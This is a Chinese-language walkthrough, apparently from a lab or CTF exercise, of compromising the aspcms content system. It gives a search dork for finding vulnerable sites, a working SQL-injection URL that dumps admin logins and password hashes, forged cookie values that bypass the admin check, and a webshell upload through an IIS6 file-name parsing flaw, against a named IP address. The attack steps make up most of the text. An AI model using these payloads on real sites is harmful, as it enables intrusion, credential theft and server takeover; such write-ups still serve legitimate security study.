【WEB】aspcms漏洞利用

1.首先谷歌关键字 Powered by aspcms.com Copyright ?2010-2011 的漏洞&＃xff0c;果然功夫不负有心人
2.接着利用注入漏洞
/plug/comment/commentList.asp?id&＃61;0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user

然后登陆https://www.somd5.com/来解md5

3.去登陆后台 ,登陆成功
然后搜了一下aspcms 的文件上传get webshell 
https://www.i0day.com/1595.html
我们来尝试一下
我们点击修改
 

我们点开看一下
 

直接菜刀链接即可

这种方法只能算作社工解决问题。

1、简单分析
下载CMS源码并简单分析
inc/AspCms_CommonFun.asp在查看asp代码问题&＃xff1a;

代码详细分析&＃xff1a;  分为三层if语句判断

Function checkLogin()if isnul(rCOOKIE("adminName")) or rCOOKIE("adminName")&＃61;"" thenalertMsgAndGo"您还没有登陆","/"    //adminName不能为空elsedim PermissionsPermissions&＃61;rCOOKIE("groupMenu")if Permissions<>"all" and isnul(Permissions) thenalertMsgAndGo"您没有访问权限","-1"   //groupMenu需要等于all   if not isnum(rCOOKIE("adminrand")) then alertMsgAndGo"您没有访问权限","-1" end ifsql &＃61; "select count(*) from {prefix}User where LoginName &＃61; &＃39;"&rCOOKIE("adminName") &"&＃39; and adminrand&＃61;&＃39;"&rCOOKIE("adminrand")&"&＃39;"Dim rscoo : Set rscoo&＃61;Conn.Exec(sql,"r1")if rscoo(0)<>1 thenwCOOKIE"adminName",""     wCOOKIE"adminId",""wCOOKIE"groupMenu",""wCOOKIE"SceneMenu",""alertMsgAndGo"您没有访问权限","-1"    adminrand值需要为一个数字&＃xff0c;SQL语句必须成立且返回数字为1时才具有访问权限。end if

构造&＃xff1a;
groupMenu&＃61;all;
adminrand&＃61;1;
adminName&＃61;admin&＃39; or ‘1’&＃61;&＃39;1
2、使用COOKIEsmanager进行COOKIE伪造。

访问&＃xff1a;http://219.153.49.228:42856/admin/
登录后台-点击后台导航

3、点击界面风格-编辑模板/CSS文件-编辑

查看一个一句话木马存在且利用了IIS6解析漏洞。

访问目标文件&＃xff1a;
http://219.153.49.228:42856/Templates/green/html/1.asp;.html
4、使用菜刀连接一句话木马&＃xff0c;在根目录找到文件